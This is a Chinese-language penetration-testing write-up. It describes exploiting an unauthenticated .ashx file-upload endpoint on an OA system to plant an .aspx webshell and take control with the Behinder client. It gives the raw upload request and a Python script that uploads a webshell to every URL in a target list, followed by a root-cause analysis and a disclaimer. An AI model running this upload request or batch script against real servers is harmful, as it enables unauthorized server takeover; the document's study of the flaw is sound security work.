从 API 接口泄露到 UEditor 文件上传,一步步 Getshell 的实战记录。
发现入口
目标是一个 OA 系统的登录页面。常规测试 SQL 注入,无果。
信息收集
目录扫描发现 API 接口泄露:
/api/FileUploadApi.ashx
同时发现 UEditor 编辑器组件,包含多个 .ashx 文件:
/ueditor/net/controller.ashx
.ashx 是 ASP.NET 处理程序文件,常用于处理文件上传、图像生成等后端逻辑。
分析接口
访问 /api/FileUploadApi.ashx,返回:
接口错误
说明需要传递参数,但参数名未知。
尝试参数爆破,仍然提示接口错误。
前端源码分析
查看页面 JavaScript 源码,搜索相关文件名:
// 在 JS 中找到了关键信息
DoWebUpload → 文件上传
DoDelete → 文件删除
原来需要传入 method 参数:
/api/FileUploadApi.ashx?method=DoWebUpload
文件上传
构造上传请求:
POST /api/FileUploadApi.ashx?method=DoWebUpload HTTP/1.1
Content-Type: multipart/form-data
file=shell.aspx
直接上传成功!返回文件路径。
Getshell
使用冰蝎(Behinder)连接上传的 WebShell,成功获取服务器权限。
批量验证 PoC
import requests
def poc(url=""):
target = url + '/api/FileUploadApi.ashx?method=DoWebUpload'
files = {
'file': ('shell.aspx', '<%@Page Language="C#"%>...', 'image/png')
}
try:
response = requests.post(target, files=files, timeout=5)
print('Response Code:', response.status_code)
print('Response Text:', response.text)
except Exception as e:
print(e)
if __name__ == '__main__':
with open('url.txt', 'r') as f:
for line in f:
poc("http://" + line.strip())
漏洞成因分析
- API 接口未做鉴权 — 任何用户均可访问文件上传接口
- 参数名隐藏在前端 JS 中 — 看似隐蔽,但前端源码无秘密
- 未做文件类型校验 — 直接上传 .aspx 文件
- 上传路径可预测 — 可直接访问上传后的文件
小结
| 阶段 | 操作 | 关键点 |
|---|---|---|
| 信息收集 | 目录扫描 | 发现 api/ 目录 |
| 接口分析 | JS 源码审计 | 找到 method 参数 |
| 漏洞利用 | 文件上传 | 未校验文件类型 |
| Getshell | 冰蝎连接 | 获取服务器权限 |
这个案例告诉我们:
- 永远不要只测 SQL 注入 — 文件上传、接口未授权等同样致命
- 前端源码要仔细看 — JS 中可能藏着 API 接口和参数
- 目录扫描不能省 — 能发现隐藏的 API 路径
- 细节决定成败 — 文件上传往往藏在意想不到的位置
本文内容仅用于安全研究和授权测试,请勿用于非法用途。